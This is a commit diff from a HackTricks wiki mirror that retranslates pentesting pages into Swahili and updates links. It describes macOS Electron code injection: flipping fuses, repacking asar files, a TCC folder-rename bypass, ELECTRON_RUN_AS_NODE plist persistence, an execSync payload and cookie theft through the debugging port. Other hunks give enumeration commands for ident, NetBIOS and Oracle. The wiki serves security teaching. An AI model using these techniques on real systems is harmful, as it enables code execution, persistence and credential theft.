mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/macos-hardening/macos-security-and-privilege-escalation
This commit is contained in:
parent
9eeda41551
commit
ace5af7813
@ -289,7 +289,7 @@
|
||||
- [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md)
|
||||
- [WinRM](windows-hardening/lateral-movement/winrm.md)
|
||||
- [WmiExec](windows-hardening/lateral-movement/wmiexec.md)
|
||||
- [Pivoting to the Cloud$$external:https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements$$]()
|
||||
- [Pivoting to the Cloud$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/index.html$$]()
|
||||
- [Stealing Windows Credentials](windows-hardening/stealing-credentials/README.md)
|
||||
- [Windows Credentials Protections](windows-hardening/stealing-credentials/credentials-protections.md)
|
||||
- [Mimikatz](windows-hardening/stealing-credentials/credentials-mimikatz.md)
|
||||
@ -692,9 +692,9 @@
|
||||
|
||||
# ⛈️ Cloud Security
|
||||
|
||||
- [Pentesting Kubernetes$$external:https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security$$]()
|
||||
- [Pentesting Cloud (AWS, GCP, Az...)$$external:https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology$$]()
|
||||
- [Pentesting CI/CD (Github, Jenkins, Terraform...)$$external:https://cloud.hacktricks.xyz/pentesting-ci-cd/pentesting-ci-cd-methodology$$]()
|
||||
- [Pentesting Kubernetes$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/index.html$$]()
|
||||
- [Pentesting Cloud (AWS, GCP, Az...)$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/pentesting-cloud-methodology.html$$]()
|
||||
- [Pentesting CI/CD (Github, Jenkins, Terraform...)$$external:https://cloud.hacktricks.wiki/en/pentesting-ci-cd/pentesting-ci-cd-methodology.html$$]()
|
||||
|
||||
# 😎 Hardware/Physical Access
|
||||
|
||||
|
@ -4,22 +4,22 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Ikiwa hujui ni nini Electron, unaweza kupata [**habari nyingi hapa**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps). Lakini kwa sasa jua tu kwamba Electron inatumia **node**.\
|
||||
Ikiwa hujui ni nini Electron, unaweza kupata [**habari nyingi hapa**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/electron-desktop-apps/index.html#rce-xss--contextisolation). Lakini kwa sasa jua tu kwamba Electron inafanya kazi na **node**.\
|
||||
Na node ina **parameta** na **env variables** ambazo zinaweza kutumika **kufanya itekeleze nambari nyingine** mbali na faili iliyoonyeshwa.
|
||||
|
||||
### Electron Fuses
|
||||
|
||||
Mbinu hizi zitaongelewa baadaye, lakini katika nyakati za hivi karibuni Electron imeongeza **bendera za usalama kuzuia hizo**. Hizi ni [**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses) na hizi ndizo zinazotumika **kuzuia** programu za Electron katika macOS **kudhani nambari zisizo za kawaida**:
|
||||
Mbinu hizi zitaongelewa baadaye, lakini katika nyakati za hivi karibuni Electron imeongeza **bendera za usalama** kadhaa ili kuzuia hizo. Hizi ni [**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses) na hizi ndizo zinazotumika **kuzuia** programu za Electron katika macOS **kuchukua nambari zisizo za kawaida**:
|
||||
|
||||
- **`RunAsNode`**: Ikiwa imezimwa, inazuia matumizi ya env var **`ELECTRON_RUN_AS_NODE`** kuingiza nambari.
|
||||
- **`EnableNodeCliInspectArguments`**: Ikiwa imezimwa, parameta kama `--inspect`, `--inspect-brk` hazitazingatiwa. Kuepusha njia hii ya kuingiza nambari.
|
||||
- **`EnableEmbeddedAsarIntegrityValidation`**: Ikiwa imewezeshwa, **`asar`** **faili** iliyopakiwa itathibitishwa na macOS. **Kuzuia** njia hii **kuingiza nambari** kwa kubadilisha maudhui ya faili hii.
|
||||
- **`OnlyLoadAppFromAsar`**: Ikiwa hii imewezeshwa, badala ya kutafuta kupakia kwa mpangilio ufuatao: **`app.asar`**, **`app`** na hatimaye **`default_app.asar`**. Itakagua na kutumia tu app.asar, hivyo kuhakikisha kwamba wakati **imeunganishwa** na **`embeddedAsarIntegrityValidation`** fuse haiwezekani **kudhani nambari zisizo thibitishwa**.
|
||||
- **`LoadBrowserProcessSpecificV8Snapshot`**: Ikiwa imewezeshwa, mchakato wa kivinjari unatumia faili inayoitwa `browser_v8_context_snapshot.bin` kwa ajili ya snapshot yake ya V8.
|
||||
- **`EnableNodeCliInspectArguments`**: Ikiwa imezimwa, parameta kama `--inspect`, `--inspect-brk` hazitazingatiwa. Inazuia njia hii kuingiza nambari.
|
||||
- **`EnableEmbeddedAsarIntegrityValidation`**: Ikiwa imewezeshwa, **`asar`** **faili** iliyopakiwa itathibitishwa na macOS. **Inazuia** njia hii **kuingiza nambari** kwa kubadilisha maudhui ya faili hii.
|
||||
- **`OnlyLoadAppFromAsar`**: Ikiwa hii imewezeshwa, badala ya kutafuta kupakia kwa mpangilio ufuatao: **`app.asar`**, **`app`** na hatimaye **`default_app.asar`**. Itakagua tu na kutumia app.asar, hivyo kuhakikisha kwamba wakati **imeunganishwa** na **`embeddedAsarIntegrityValidation`** fuse haiwezekani **kuchukua nambari zisizothibitishwa**.
|
||||
- **`LoadBrowserProcessSpecificV8Snapshot`**: Ikiwa imewezeshwa, mchakato wa kivinjari hutumia faili inayoitwa `browser_v8_context_snapshot.bin` kwa ajili ya snapshot yake ya V8.
|
||||
|
||||
Fuse nyingine ya kuvutia ambayo haitazuia kuingiza nambari ni:
|
||||
|
||||
- **EnableCookieEncryption**: Ikiwa imewezeshwa, duka la kuki kwenye diski linachakatwa kwa kutumia funguo za cryptography za kiwango cha OS.
|
||||
- **EnableCookieEncryption**: Ikiwa imewezeshwa, duka la kuki kwenye diski linakuwa limefichwa kwa kutumia funguo za cryptography za kiwango cha OS.
|
||||
|
||||
### Checking Electron Fuses
|
||||
|
||||
@ -37,36 +37,36 @@ EnableEmbeddedAsarIntegrityValidation is Enabled
|
||||
OnlyLoadAppFromAsar is Enabled
|
||||
LoadBrowserProcessSpecificV8Snapshot is Disabled
|
||||
```
|
||||
### Kubadilisha Fuse za Electron
|
||||
### Modifying Electron Fuses
|
||||
|
||||
Kama [**nyaraka zinavyosema**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), usanidi wa **Fuse za Electron** umewekwa ndani ya **binary ya Electron** ambayo ina mahali fulani mfuatano wa herufi **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**.
|
||||
Kama [**nyaraka zinavyosema**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), usanidi wa **Electron Fuses** umewekwa ndani ya **Electron binary** ambayo ina mahali fulani mfuatano wa **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**.
|
||||
|
||||
Katika programu za macOS hii kwa kawaida iko katika `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework`
|
||||
Katika programu za macOS, hii kwa kawaida iko katika `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework`
|
||||
```bash
|
||||
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
|
||||
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
|
||||
```
|
||||
Unaweza kupakia faili hii katika [https://hexed.it/](https://hexed.it/) na kutafuta mfuatano wa awali. Baada ya mfuatano huu unaweza kuona katika ASCII nambari "0" au "1" ikionyesha kama kila fuse imezimwa au imewezeshwa. Badilisha tu msimbo wa hex (`0x30` ni `0` na `0x31` ni `1`) ili **kubadilisha thamani za fuse**.
|
||||
You could load this file in [https://hexed.it/](https://hexed.it/) and search for the previous string. After this string you can see in ASCII a number "0" or "1" indicating if each fuse is disabled or enabled. Just modify the hex code (`0x30` is `0` and `0x31` is `1`) to **modify the fuse values**.
|
||||
|
||||
<figure><img src="../../../images/image (34).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Kumbuka kwamba ukijaribu **kuandika upya** **`Electron Framework` binary** ndani ya programu kwa kutumia bytes hizi zilizobadilishwa, programu hiyo haitafanya kazi.
|
||||
Note that if you try to **overwrite** the **`Electron Framework` binary** inside an application with these bytes modified, the app won't run.
|
||||
|
||||
## RCE kuongeza msimbo kwa Programu za Electron
|
||||
## RCE adding code to Electron Applications
|
||||
|
||||
Kunaweza kuwa na **faili za nje za JS/HTML** ambazo Programu ya Electron inatumia, hivyo mshambuliaji anaweza kuingiza msimbo katika faili hizi ambazo saini yake haitakaguliwa na kutekeleza msimbo wa kiholela katika muktadha wa programu.
|
||||
There could be **external JS/HTML files** that an Electron App is using, so an attacker could inject code in these files whose signature won't be checked and execute arbitrary code in the context of the app.
|
||||
|
||||
> [!CAUTION]
|
||||
> Hata hivyo, kwa sasa kuna vizuizi 2:
|
||||
> However, at the moment there are 2 limitations:
|
||||
>
|
||||
> - Ruhusa ya **`kTCCServiceSystemPolicyAppBundles`** inahitajika kubadilisha Programu, hivyo kwa kawaida hii haiwezekani tena.
|
||||
> - Faili iliyokusanywa ya **`asap`** kwa kawaida ina fuse **`embeddedAsarIntegrityValidation`** `na` **`onlyLoadAppFromAsar`** `imewezeshwa`
|
||||
> - The **`kTCCServiceSystemPolicyAppBundles`** permission is **needed** to modify an App, so by default this is no longer possible.
|
||||
> - The compiled **`asap`** file usually has the fuses **`embeddedAsarIntegrityValidation`** `and` **`onlyLoadAppFromAsar`** `enabled`
|
||||
>
|
||||
> Hii inafanya njia hii ya shambulio kuwa ngumu zaidi (au haiwezekani).
|
||||
> Making this attack path more complicated (or impossible).
|
||||
|
||||
Kumbuka kwamba inawezekana kupita hitaji la **`kTCCServiceSystemPolicyAppBundles`** kwa kunakili programu hiyo kwenye saraka nyingine (kama **`/tmp`**), kubadilisha jina la folda **`app.app/Contents`** kuwa **`app.app/NotCon`**, **kubadilisha** faili la **asar** kwa msimbo wako **mbaya**, kubadilisha jina lake tena kuwa **`app.app/Contents`** na kuitekeleza.
|
||||
Note that it's possible to bypass the requirement of **`kTCCServiceSystemPolicyAppBundles`** by copying the application to another directory (like **`/tmp`**), renaming the folder **`app.app/Contents`** to **`app.app/NotCon`**, **modifying** the **asar** file with your **malicious** code, renaming it back to **`app.app/Contents`** and executing it.
|
||||
|
||||
Unaweza kufungua msimbo kutoka kwa faili la asar kwa:
|
||||
You can unpack the code from the asar file with:
|
||||
```bash
|
||||
npx asar extract app.asar app-decomp
|
||||
```
|
||||
@ -76,7 +76,7 @@ npx asar pack app-decomp app-new.asar
|
||||
```
|
||||
## RCE na `ELECTRON_RUN_AS_NODE` <a href="#electron_run_as_node" id="electron_run_as_node"></a>
|
||||
|
||||
Kulingana na [**nyaraka**](https://www.electronjs.org/docs/latest/api/environment-variables#electron_run_as_node), ikiwa hii variable ya mazingira imewekwa, itaanzisha mchakato kama mchakato wa kawaida wa Node.js.
|
||||
Kulingana na [**nyaraka**](https://www.electronjs.org/docs/latest/api/environment-variables#electron_run_as_node), ikiwa hii env variable imewekwa, itaanzisha mchakato kama mchakato wa kawaida wa Node.js.
|
||||
```bash
|
||||
# Run this
|
||||
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
|
||||
@ -155,11 +155,11 @@ Kwa mfano:
|
||||
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Ikiwa fuse **`EnableNodeCliInspectArguments`** imezimwa, programu itakuwa **ikiweka kando vigezo vya node** (kama `--inspect`) inapozinduliwa isipokuwa kiambatisho cha mazingira **`ELECTRON_RUN_AS_NODE`** kimewekwa, ambacho pia kitawekwa **kando** ikiwa fuse **`RunAsNode`** imezimwa.
|
||||
> Ikiwa fuse **`EnableNodeCliInspectArguments`** imezimwa, programu itakuwa **ikiweka kando vigezo vya node** (kama `--inspect`) inapozinduliwa isipokuwa variable ya env **`ELECTRON_RUN_AS_NODE`** imewekwa, ambayo pia itakuwa **ikiwekwa kando** ikiwa fuse **`RunAsNode`** imezimwa.
|
||||
>
|
||||
> Hata hivyo, bado unaweza kutumia **paramu ya electron `--remote-debugging-port=9229`** lakini payload ya awali haitafanya kazi kutekeleza michakato mingine.
|
||||
> Hata hivyo, bado unaweza kutumia param **`--remote-debugging-port=9229`** lakini payload ya awali haitafanya kazi kutekeleza michakato mingine.
|
||||
|
||||
Kwa kutumia paramu **`--remote-debugging-port=9222`** inawezekana kuiba taarifa fulani kutoka kwa Programu ya Electron kama **historia** (kwa amri za GET) au **cookies** za kivinjari (kama zinavyokuwa **zimefunguliwa** ndani ya kivinjari na kuna **json endpoint** itakayotoa hizo).
|
||||
Kwa kutumia param **`--remote-debugging-port=9222`** inawezekana kuiba baadhi ya taarifa kutoka kwa Programu ya Electron kama **historia** (kwa amri za GET) au **cookies** za kivinjari (kama zinavyokuwa **zimefichuliwa** ndani ya kivinjari na kuna **json endpoint** ambayo itawapa).
|
||||
|
||||
Unaweza kujifunza jinsi ya kufanya hivyo [**hapa**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) na [**hapa**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) na kutumia chombo cha kiotomatiki [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) au script rahisi kama:
|
||||
```python
|
||||
@ -173,7 +173,7 @@ Katika [**hiki blogu**](https://hackerone.com/reports/1274695), urekebishaji huu
|
||||
|
||||
### Uingizaji kutoka kwa App Plist
|
||||
|
||||
Unaweza kutumia vibaya hii env variable katika plist ili kudumisha kudumu kwa kuongeza funguo hizi:
|
||||
Unaweza kutumia vibaya hii env variable katika plist ili kudumisha uvumilivu kwa kuongeza funguo hizi:
|
||||
```xml
|
||||
<dict>
|
||||
<key>ProgramArguments</key>
|
||||
@ -190,18 +190,18 @@ Unaweza kutumia vibaya hii env variable katika plist ili kudumisha kudumu kwa ku
|
||||
## TCC Bypass abusing Older Versions
|
||||
|
||||
> [!TIP]
|
||||
> Daemon ya TCC kutoka macOS haichunguzi toleo lililotekelezwa la programu. Hivyo kama huwezi **kuiingiza msimbo katika programu ya Electron** kwa kutumia mbinu zozote za awali unaweza kupakua toleo la awali la APP na kuingiza msimbo ndani yake kwani bado itapata ruhusa za TCC (isipokuwa Trust Cache iizuie).
|
||||
> Daemon ya TCC kutoka macOS haichunguzi toleo lililotekelezwa la programu. Hivyo kama huwezi **kuiingiza msimbo katika programu ya Electron** kwa kutumia mbinu zozote za awali unaweza kupakua toleo la zamani la APP na kuingiza msimbo ndani yake kwani bado itapata ruhusa za TCC (isipokuwa Trust Cache iizuie).
|
||||
|
||||
## Run non JS Code
|
||||
|
||||
Mbinu za awali zitakuruhusu kuendesha **msimbo wa JS ndani ya mchakato wa programu ya electron**. Hata hivyo, kumbuka kwamba **mchakato wa watoto unakimbia chini ya wasifu sawa wa sandbox** kama programu ya mzazi na **unapata ruhusa zao za TCC**.\
|
||||
Hivyo, ikiwa unataka kutumia haki za kuingia ili kufikia kamera au kipaza sauti kwa mfano, unaweza tu **kuendesha binary nyingine kutoka kwa mchakato**.
|
||||
Hivyo, ikiwa unataka kutumia haki za kuingia kwenye kamera au kipaza sauti kwa mfano, unaweza tu **kuendesha binary nyingine kutoka kwenye mchakato**.
|
||||
|
||||
## Automatic Injection
|
||||
|
||||
Zana [**electroniz3r**](https://github.com/r3ggi/electroniz3r) inaweza kutumika kwa urahisi ili **kupata programu za electron zenye udhaifu** zilizowekwa na kuingiza msimbo ndani yao. Zana hii itajaribu kutumia mbinu ya **`--inspect`**:
|
||||
Chombo [**electroniz3r**](https://github.com/r3ggi/electroniz3r) kinaweza kutumika kwa urahisi ili **kupata programu za electron zenye udhaifu** zilizowekwa na kuingiza msimbo ndani yao. Chombo hiki kitajaribu kutumia mbinu ya **`--inspect`**:
|
||||
|
||||
Unahitaji kuikamilisha mwenyewe na unaweza kuitumia kama hii:
|
||||
Unahitaji kukiunda mwenyewe na unaweza kuitumia kama hii:
|
||||
```bash
|
||||
# Find electron apps
|
||||
./electroniz3r list-apps
|
||||
|
@ -4,11 +4,11 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Protokali ya Ident** inatumika juu ya **Internet** kuhusisha **muunganisho wa TCP** na mtumiaji maalum. Ilipangwa awali kusaidia katika **usimamizi wa mtandao** na **usalama**, inafanya kazi kwa kuruhusu seva kuuliza mteja kwenye bandari 113 ili kutafuta taarifa kuhusu mtumiaji wa muunganisho maalum wa TCP.
|
||||
**Ident Protocol** inatumika juu ya **Internet** kuhusisha **TCP connection** na mtumiaji maalum. Ilipangwa awali kusaidia katika **network management** na **security**, inafanya kazi kwa kuruhusu server kuuliza client kwenye port 113 ili kutafuta taarifa kuhusu mtumiaji wa **TCP connection** fulani.
|
||||
|
||||
Hata hivyo, kutokana na wasiwasi wa kisasa kuhusu faragha na uwezekano wa matumizi mabaya, matumizi yake yamepungua kwani yanaweza bila kukusudia kufichua taarifa za mtumiaji kwa vyama visivyoidhinishwa. Hatua za usalama zilizoboreshwa, kama vile muunganisho wa siri na udhibiti mkali wa ufikiaji, zinapendekezwa ili kupunguza hatari hizi.
|
||||
Hata hivyo, kutokana na wasiwasi wa kisasa kuhusu faragha na uwezekano wa matumizi mabaya, matumizi yake yamepungua kwani yanaweza bila kukusudia kufichua taarifa za mtumiaji kwa wahusika wasioidhinishwa. Hatua za usalama zilizoboreshwa, kama vile muunganisho wa siri na udhibiti mkali wa ufikiaji, zinapendekezwa kupunguza hatari hizi.
|
||||
|
||||
**Bandari ya kawaida:** 113
|
||||
**Default port:** 113
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
113/tcp open ident
|
||||
@ -17,7 +17,7 @@ PORT STATE SERVICE
|
||||
|
||||
### **Mkononi - Pata mtumiaji/Baini huduma**
|
||||
|
||||
Ikiwa mashine inafanya kazi huduma ya ident na samba (445) na umeunganishwa na samba ukitumia bandari 43218. Unaweza kupata ni mtumiaji gani anayeendesha huduma ya samba kwa kufanya:
|
||||
Ikiwa mashine inafanya kazi na huduma ident na samba (445) na umeunganishwa na samba ukitumia bandari 43218. Unaweza kupata ni mtumiaji gani anayeendesha huduma ya samba kwa kufanya:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -78,7 +78,7 @@ Description: Notes for Ident
|
||||
Note: |
|
||||
The Ident Protocol is used over the Internet to associate a TCP connection with a specific user. Originally designed to aid in network management and security, it operates by allowing a server to query a client on port 113 to request information about the user of a particular TCP connection.
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/113-pentesting-ident
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/113-pentesting-ident.html
|
||||
|
||||
Entry_2:
|
||||
Name: Enum Users
|
||||
|
@ -14,7 +14,7 @@
|
||||
|
||||
### Name Service
|
||||
|
||||
Ili kifaa kiweze kushiriki katika mtandao wa NetBIOS, lazima kiwe na jina la kipekee. Hii inapatikana kupitia **mchakato wa matangazo** ambapo pakiti ya "Name Query" inatumwa. Ikiwa hakuna pingamizi zinazopokelewa, jina linachukuliwa kuwa linapatikana. Vinginevyo, **seva ya Huduma ya Jina** inaweza kuulizwa moja kwa moja ili kuangalia upatikanaji wa jina au kutatua jina kuwa anwani ya IP. Zana kama `nmblookup`, `nbtscan`, na `nmap` zinatumika kwa kuorodhesha huduma za NetBIOS, zikifunua majina ya seva na anwani za MAC.
|
||||
Ili kifaa kiweze kushiriki katika mtandao wa NetBIOS, lazima kiwe na jina la kipekee. Hii inapatikana kupitia **mchakato wa matangazo** ambapo pakiti ya "Name Query" inatumwa. Ikiwa hakuna pingamizi zinazopokelewa, jina linaonekana kuwa linapatikana. Vinginevyo, **seva ya Huduma ya Jina** inaweza kuulizwa moja kwa moja ili kuangalia upatikanaji wa jina au kutatua jina kuwa anwani ya IP. Zana kama `nmblookup`, `nbtscan`, na `nmap` zinatumika kwa kuorodhesha huduma za NetBIOS, zikifunua majina ya seva na anwani za MAC.
|
||||
```bash
|
||||
PORT STATE SERVICE VERSION
|
||||
137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
|
||||
@ -25,18 +25,18 @@ nmblookup -A <IP>
|
||||
nbtscan <IP>/30
|
||||
sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n <IP>
|
||||
```
|
||||
### Huduma ya Usambazaji wa Datagram
|
||||
### Datagram Distribution Service
|
||||
|
||||
NetBIOS datagrams huruhusu mawasiliano yasiyo na muunganiko kupitia UDP, ikisaidia ujumbe wa moja kwa moja au matangazo kwa majina yote ya mtandao. Huduma hii inatumia bandari **138/udp**.
|
||||
NetBIOS datagrams huruhusu mawasiliano yasiyo na muunganisho kupitia UDP, ikisaidia ujumbe wa moja kwa moja au matangazo kwa majina yote ya mtandao. Huduma hii inatumia bandari **138/udp**.
|
||||
```bash
|
||||
PORT STATE SERVICE VERSION
|
||||
138/udp open|filtered netbios-dgm
|
||||
```
|
||||
### Huduma ya Kikao
|
||||
|
||||
Kwa mwingiliano unaotegemea muunganisho, **Huduma ya Kikao** inarahisisha mazungumzo kati ya vifaa viwili, ikitumia muunganisho wa **TCP** kupitia bandari **139/tcp**. Kikao kinaanza na pakiti ya "Ombi la Kikao" na kinaweza kuanzishwa kulingana na jibu. Huduma hii inasaidia ujumbe wakubwa, kugundua makosa, na urejeleaji, huku TCP ikishughulikia udhibiti wa mtiririko na urejeleaji wa pakiti.
|
||||
Kwa mwingiliano unaotegemea muunganisho, **Huduma ya Kikao** inarahisisha mazungumzo kati ya vifaa viwili, ikitumia **TCP** kupitia bandari **139/tcp**. Kikao kinaanza na pakiti ya "Ombi la Kikao" na kinaweza kuanzishwa kulingana na jibu. Huduma hii inasaidia ujumbe wakubwa, kugundua makosa, na urejeleaji, huku TCP ikishughulikia udhibiti wa mtiririko na urejeleaji wa pakiti.
|
||||
|
||||
Uhamasishaji wa data ndani ya kikao unahusisha **Pakiti za Ujumbe wa Kikao**, ambapo vikao vinamalizika kwa kufunga muunganisho wa TCP.
|
||||
Uhamasishaji wa data ndani ya kikao unahusisha **Pakiti za Ujumbe wa Kikao**, huku vikao vikifungwa kwa kufunga muunganisho wa TCP.
|
||||
|
||||
Huduma hizi ni muhimu kwa utendaji wa **NetBIOS**, zikihakikisha mawasiliano bora na ushirikiano wa rasilimali katika mtandao. Kwa maelezo zaidi kuhusu protokali za TCP na IP, rejelea kurasa zao za [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) na [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol).
|
||||
```bash
|
||||
@ -65,7 +65,7 @@ Session service for connection-oriented communication (port: 139/tcp).
|
||||
|
||||
For a device to participate in a NetBIOS network, it must have a unique name. This is achieved through a broadcast process where a "Name Query" packet is sent. If no objections are received, the name is considered available. Alternatively, a Name Service server can be queried directly to check for name availability or to resolve a name to an IP address.
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/137-138-139-pentesting-netbios
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/137-138-139-pentesting-netbios.html
|
||||
|
||||
Entry_2:
|
||||
Name: Find Names
|
||||
|
@ -4,16 +4,16 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Oracle database (Oracle DB) ni mfumo wa usimamizi wa hifadhidata wa uhusiano (RDBMS) kutoka kampuni ya Oracle (kutoka [hapa](https://www.techopedia.com/definition/8711/oracle-database)).
|
||||
Oracle database (Oracle DB) ni mfumo wa usimamizi wa hifadhidata wa uhusiano (RDBMS) kutoka kwa Oracle Corporation (kutoka [hapa](https://www.techopedia.com/definition/8711/oracle-database)).
|
||||
|
||||
Wakati wa kuhesabu Oracle, hatua ya kwanza ni kuzungumza na TNS-Listener ambayo kwa kawaida inapatikana kwenye bandari ya kawaida (1521/TCP, -unaweza pia kupata wasikilizaji wa sekondari kwenye 1522–1529-).
|
||||
Wakati wa kuhesabu Oracle hatua ya kwanza ni kuzungumza na TNS-Listener ambayo kawaida inapatikana kwenye bandari ya kawaida (1521/TCP, -unaweza pia kupata wasikilizaji wa sekondari kwenye 1522–1529-).
|
||||
```
|
||||
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
|
||||
1748/tcp open oracle-tns Oracle TNS Listener
|
||||
```
|
||||
## Muhtasari
|
||||
|
||||
1. **Version Enumeration**: Tambua taarifa za toleo ili kutafuta udhaifu uliojulikana.
|
||||
1. **Version Enumeration**: Tambua taarifa za toleo ili kutafuta udhaifu unaojulikana.
|
||||
2. **TNS Listener Bruteforce**: Wakati mwingine inahitajika kuanzisha mawasiliano.
|
||||
3. **SID Name Enumeration/Bruteforce**: Gundua majina ya hifadhidata (SID).
|
||||
4. **Credential Bruteforce**: Jaribu kupata SID iliyogunduliwa.
|
||||
@ -51,7 +51,7 @@ cd odat-libc2.12-x86_64/
|
||||
|
||||
for more details check https://github.com/quentinhardy/odat/wiki
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html
|
||||
|
||||
Entry_2:
|
||||
Name: Nmap
|
||||
|
@ -4,16 +4,16 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Oracle database (Oracle DB) ni mfumo wa usimamizi wa hifadhidata wa uhusiano (RDBMS) kutoka kampuni ya Oracle (kutoka [hapa](https://www.techopedia.com/definition/8711/oracle-database)).
|
||||
Oracle database (Oracle DB) ni mfumo wa usimamizi wa hifadhidata wa uhusiano (RDBMS) kutoka kwa Oracle Corporation (kutoka [hapa](https://www.techopedia.com/definition/8711/oracle-database)).
|
||||
|
||||
Wakati wa kuhesabu Oracle, hatua ya kwanza ni kuzungumza na TNS-Listener ambayo kwa kawaida inapatikana kwenye bandari ya kawaida (1521/TCP, -unaweza pia kupata wasikilizaji wa sekondari kwenye 1522–1529-).
|
||||
Wakati wa kuhesabu Oracle hatua ya kwanza ni kuzungumza na TNS-Listener ambayo kawaida inapatikana kwenye bandari ya kawaida (1521/TCP, -unaweza pia kupata wasikilizaji wa sekondari kwenye 1522–1529-).
|
||||
```
|
||||
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
|
||||
1748/tcp open oracle-tns Oracle TNS Listener
|
||||
```
|
||||
## Muhtasari
|
||||
|
||||
1. **Version Enumeration**: Tambua taarifa za toleo ili kutafuta udhaifu uliojulikana.
|
||||
1. **Version Enumeration**: Tambua taarifa za toleo ili kutafuta udhaifu unaojulikana.
|
||||
2. **TNS Listener Bruteforce**: Wakati mwingine inahitajika kuanzisha mawasiliano.
|
||||
3. **SID Name Enumeration/Bruteforce**: Gundua majina ya hifadhidata (SID).
|
||||
4. **Credential Bruteforce**: Jaribu kupata SID iliyogunduliwa.
|
||||
@ -51,7 +51,7 @@ cd odat-libc2.12-x86_64/
|
||||
|
||||
for more details check https://github.com/quentinhardy/odat/wiki
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html
|
||||
|
||||
Entry_2:
|
||||
Name: Nmap
|
||||
|
@ -2,11 +2,11 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Taarifa za Msingi
|
||||
## Basic Information
|
||||
|
||||
Protokali ya **WHOIS** inatumika kama njia ya kawaida ya **kuuliza kuhusu waandikaji au wamiliki wa rasilimali mbalimbali za Mtandao** kupitia hifadhidata maalum. Rasilimali hizi zinajumuisha majina ya kikoa, vizuizi vya anwani za IP, na mifumo huru, miongoni mwa mengine. Zaidi ya haya, protokali hii inatumika katika kupata wigo mpana wa taarifa.
|
||||
Protokali ya **WHOIS** inatumika kama njia ya kawaida ya **kuuliza kuhusu wamiliki au wenyeji wa rasilimali mbalimbali za Mtandao** kupitia hifadhidata maalum. Rasilimali hizi zinajumuisha majina ya domain, vizuizi vya anwani za IP, na mifumo huru, miongoni mwa mengine. Zaidi ya haya, protokali hii inatumika katika kupata habari pana zaidi.
|
||||
|
||||
**Bandari ya kawaida:** 43
|
||||
**Default port:** 43
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
43/tcp open whois?
|
||||
@ -41,7 +41,7 @@ Note: |
|
||||
The WHOIS protocol serves as a standard method for inquiring about the registrants or holders of various Internet resources through specific databases. These resources encompass domain names, blocks of IP addresses, and autonomous systems, among others. Beyond these, the protocol finds application in accessing a broader spectrum of information.
|
||||
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-smtp
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html
|
||||
|
||||
Entry_2:
|
||||
Name: Banner Grab
|
||||
|
@ -9,7 +9,7 @@ Bandari hii inatumika na **Redshift** kuendesha. Kimsingi ni toleo la AWS la **P
|
||||
Kwa maelezo zaidi angalia:
|
||||
|
||||
{{#ref}}
|
||||
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum
|
||||
https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.html
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -6,23 +6,23 @@
|
||||
|
||||
